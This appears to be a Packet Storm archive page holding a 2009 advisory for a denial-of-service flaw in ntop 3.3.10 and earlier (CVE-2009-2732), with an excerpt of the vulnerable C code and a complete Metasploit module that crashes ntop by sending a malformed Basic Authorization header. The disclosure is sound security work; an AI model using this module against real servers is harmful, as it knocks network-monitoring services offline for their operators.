exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ntop 3.3.10 Denial Of Service

ntop 3.3.10 Denial Of Service
Posted Aug 18, 2009
Authored by Brad Antoniewicz

ntop versions 3.3.10 and below suffer from a basic authentication null pointer denial of service vulnerability.

tags | exploit, denial of service
advisories | CVE-2009-2732
SHA-256 | aad3f03488f5dcebf8a3f95a8a2dd8fd1ea219bc8c5bf2382388fed6da94eb39

ntop 3.3.10 Denial Of Service

Change Mirror Download
Title: ntop <= 3.3.10 Basic Authentication Null Pointer Denial of Service
---------------------------------------------------------------------------------

Vendor: ntop

Vendor URL: www.ntop.org

Vendor Response: None

Description:

A denial of service condition can be reached by specifying an invalid value for the Authorization
HTTP header. When ntop recieves this, it attempts to base64 decode the value then split it based on
a colon. When no colon exists in the decoded string the username is left at its default NULL value.
During the authentication process the length of the username is computed via strlen(), which results
in a segmentation fault when it processes the null value.

Code:

static int checkHTTPpassword(char *theRequestedURL,
int theRequestedURLLen _UNUSED_,
char* thePw, int thePwLen) {
char outBuffer[65], tmpOutBuffer[65], *user = NULL, users[LEN_GENERAL_WORK_BUFFER];

.
.
.
if(outBuffer[i] == ':') {
outBuffer[i] = '\0';
user = outBuffer;
break;
}
.
.
.
if(strlen(user) >= sizeof(theHttpUser)) user[sizeof(theHttpUser)-1] = '\0';
.
.
.


Affected Operating Systems:
Only tested on Linux

Affected Versions:
ntop <= 3.3.10

CVE: CVE-2009-2732

Credit:

Brad Antoniewicz

brad.antoniewicz@foundstone.com


code:

START modules/auxiliary/dos/http/ntop_basic.rb ---------------------------------------

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Dos

def initialize(info = {})
super(update_info(info,
'Name' => 'NTOP <= 3.3.10 Basic Authorization DoS',
'Description' => %q{
A denial of service condition can be reached by specifying an invalid value for the Authorization
HTTP header. When ntop recieves this, it attempts to base64 decode the value then split it based on
a colon. When no colon exists in the decoded string the username is left at its default NULL value.
During the authentication process the length of the username is computed via strlen(), which results
in a segmentation fault when it processes the null value.
},
'Author' => 'Brad Antoniewicz <brad.antoniewicz@foundstone.com>',
'License' => MSF_LICENSE,
'Version' => '1',
'References' => [
[ 'BID', 'None'],
[ 'CVE', 'CVE-2009-2732']

],
'DisclosureDate' => 'Aug 08 2009'))
register_options( [Opt::RPORT(3000),], self.class )

end

def run
begin
o = {
'uri' => '/configNtop.html',
'headers' => {
'Authorization' => 'Basic A=='
}
}

c = connect(o)
c.send_request(c.request_raw(o))

print_status("Request sent to #{rhost}:#{rport}")
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_status("Couldn't connect to #{rhost}:#{rport}")
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end

END modules/auxiliary/dos/http/ntop_basic.rb ---------------------------------------
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    0 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close